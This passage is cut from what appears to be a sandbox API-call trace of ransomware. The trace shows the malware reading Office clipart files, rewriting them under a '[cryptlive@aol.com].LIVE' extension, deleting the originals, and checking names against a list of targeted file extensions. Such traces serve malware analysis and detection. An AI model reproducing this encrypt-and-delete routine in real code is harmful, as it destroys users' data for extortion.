Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0136.783] GetLastError () returned 0x0 [0136.783] ReadFile (in: hFile=0x3ac, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x5b8, lpOverlapped=0x0) returned 1 [0136.820] WriteFile (in: hFile=0x1fc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0136.821] ReadFile (in: hFile=0x3ac, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.821] WriteFile (in: hFile=0x1fc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.822] SetEndOfFile (hFile=0x1fc) returned 1 [0136.822] CloseHandle (hObject=0x1fc) returned 1 [0136.822] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.822] SetEndOfFile (hFile=0x3ac) returned 1 [0136.824] CloseHandle (hObject=0x3ac) returned 1 [0136.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0136.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.826] lstrlenW (lpString=".doc") returned 4 [0136.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.826] lstrlenW (lpString=".docx") returned 5 [0136.826] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.826] lstrlenW (lpString=".pdf") returned 4 [0136.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.826] lstrlenW (lpString=".xls") returned 4 [0136.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.826] lstrlenW (lpString=".xlsx") returned 5 [0136.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.826] lstrlenW (lpString=".ppt") returned 4 [0136.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.826] lstrlenW (lpString=".zip") returned 4 [0136.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.826] lstrlenW (lpString=".rar") returned 4 [0136.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString=".bz2") returned 4 [0136.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString=".7z") returned 3 [0136.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.827] lstrlenW (lpString=".dbf") returned 4 [0136.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.827] lstrlenW (lpString=".1cd") returned 4 [0136.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.827] lstrlenW (lpString=".jpg") returned 4 [0136.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.827] lstrlenW (lpString=".doc") returned 4 [0136.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString=".docx") returned 5 [0136.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.827] lstrlenW (lpString=".pdf") returned 4 [0136.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString=".xls") returned 4 [0136.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.827] lstrlenW (lpString=".xlsx") returned 5 [0136.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.827] lstrlenW (lpString=".ppt") returned 4 [0136.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.827] lstrlenW (lpString=".zip") returned 4 [0136.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.827] lstrlenW (lpString=".rar") returned 4 [0136.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString=".bz2") returned 4 [0136.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString=".7z") returned 3 [0136.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.828] lstrlenW (lpString=".dbf") returned 4 [0136.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.828] lstrlenW (lpString=".1cd") returned 4 [0136.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0136.828] lstrlenW (lpString=".jpg") returned 4 [0136.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.828] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.828] lstrlenW (lpString="BL00194_.WMF") returned 12 [0136.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.828] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3986) returned 1 [0136.828] CloseHandle (hObject=0x3ac) returned 1 [0136.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0136.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.829] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.829] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0136.830] GetLastError () returned 0x0 [0136.830] ReadFile (in: hFile=0x3ac, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xf92, lpOverlapped=0x0) returned 1 [0136.856] WriteFile (in: hFile=0x1fc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0136.857] ReadFile (in: hFile=0x3ac, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.857] WriteFile (in: hFile=0x1fc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.857] SetEndOfFile (hFile=0x1fc) returned 1 [0136.857] CloseHandle (hObject=0x1fc) returned 1 [0136.857] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.857] SetEndOfFile (hFile=0x3ac) returned 1 [0136.859] CloseHandle (hObject=0x3ac) returned 1 [0136.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0136.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.881] lstrlenW (lpString=".doc") returned 4 [0136.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.881] lstrlenW (lpString=".docx") returned 5 [0136.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.881] lstrlenW (lpString=".pdf") returned 4 [0136.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.881] lstrlenW (lpString=".xls") returned 4 [0136.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.881] lstrlenW (lpString=".xlsx") returned 5 [0136.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.881] lstrlenW (lpString=".ppt") returned 4 [0136.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.881] lstrlenW (lpString=".zip") returned 4 [0136.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.881] lstrlenW (lpString=".rar") returned 4 [0136.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.881] lstrlenW (lpString=".bz2") returned 4 [0136.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.881] lstrlenW (lpString=".7z") returned 3 [0136.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.881] lstrlenW (lpString=".dbf") returned 4 [0136.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.881] lstrlenW (lpString=".1cd") returned 4 [0136.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.881] lstrlenW (lpString=".jpg") returned 4 [0136.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.882] lstrlenW (lpString=".doc") returned 4 [0136.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.882] lstrlenW (lpString=".docx") returned 5 [0136.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.882] lstrlenW (lpString=".pdf") returned 4 [0136.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.882] lstrlenW (lpString=".xls") returned 4 [0136.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.882] lstrlenW (lpString=".xlsx") returned 5 [0136.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.882] lstrlenW (lpString=".ppt") returned 4 [0136.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.882] lstrlenW (lpString=".zip") returned 4 [0136.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.882] lstrlenW (lpString=".rar") returned 4 [0136.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.882] lstrlenW (lpString=".bz2") returned 4 [0136.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.882] lstrlenW (lpString=".7z") returned 3 [0136.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.882] lstrlenW (lpString=".dbf") returned 4 [0136.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.882] lstrlenW (lpString=".1cd") returned 4 [0136.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0136.882] lstrlenW (lpString=".jpg") returned 4 [0136.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.883] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.883] lstrlenW (lpString="BL00247_.WMF") returned 12 [0136.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.886] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=14444) returned 1 [0136.886] CloseHandle (hObject=0x3ac) returned 1 [0136.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0136.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.886] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.886] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0136.887] GetLastError () returned 0x0 [0136.887] ReadFile (in: hFile=0x3ac, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x386c, lpOverlapped=0x0) returned 1 [0136.898] WriteFile (in: hFile=0x1fc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3870, lpOverlapped=0x0) returned 1 [0136.899] ReadFile (in: hFile=0x3ac, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.899] WriteFile (in: hFile=0x1fc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.899] SetEndOfFile (hFile=0x1fc) returned 1 [0136.899] CloseHandle (hObject=0x1fc) returned 1 [0136.899] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.899] SetEndOfFile (hFile=0x3ac) returned 1 [0136.902] CloseHandle (hObject=0x3ac) returned 1 [0136.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0137.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.279] lstrlenW (lpString=".doc") returned 4 [0137.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.279] lstrlenW (lpString=".docx") returned 5 [0137.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.279] lstrlenW (lpString=".pdf") returned 4 [0137.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.279] lstrlenW (lpString=".xls") returned 4 [0137.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.279] lstrlenW (lpString=".xlsx") returned 5 [0137.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.279] lstrlenW (lpString=".ppt") returned 4 [0137.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.279] lstrlenW (lpString=".zip") returned 4 [0137.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.279] lstrlenW (lpString=".rar") returned 4 [0137.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.279] lstrlenW (lpString=".bz2") returned 4 [0137.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.279] lstrlenW (lpString=".7z") returned 3 [0137.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.279] lstrlenW (lpString=".dbf") returned 4 [0137.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.279] lstrlenW (lpString=".1cd") returned 4 [0137.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.279] lstrlenW (lpString=".jpg") returned 4 [0137.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.280] lstrlenW (lpString=".doc") returned 4 [0137.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.280] lstrlenW (lpString=".docx") returned 5 [0137.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.280] lstrlenW (lpString=".pdf") returned 4 [0137.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.280] lstrlenW (lpString=".xls") returned 4 [0137.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.280] lstrlenW (lpString=".xlsx") returned 5 [0137.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.280] lstrlenW (lpString=".ppt") returned 4 [0137.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.280] lstrlenW (lpString=".zip") returned 4 [0137.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.280] lstrlenW (lpString=".rar") returned 4 [0137.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.280] lstrlenW (lpString=".bz2") returned 4 [0137.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.280] lstrlenW (lpString=".7z") returned 3 [0137.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.280] lstrlenW (lpString=".dbf") returned 4 [0137.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.280] lstrlenW (lpString=".1cd") returned 4 [0137.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0137.280] lstrlenW (lpString=".jpg") returned 4 [0137.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.281] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.281] lstrlenW (lpString="BL00262_.WMF") returned 12 [0137.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0137.398] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2556) returned 1 [0137.398] CloseHandle (hObject=0x390) returned 1 [0137.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0137.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0137.488] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.488] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0137.488] GetLastError () returned 0x0 [0137.488] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, 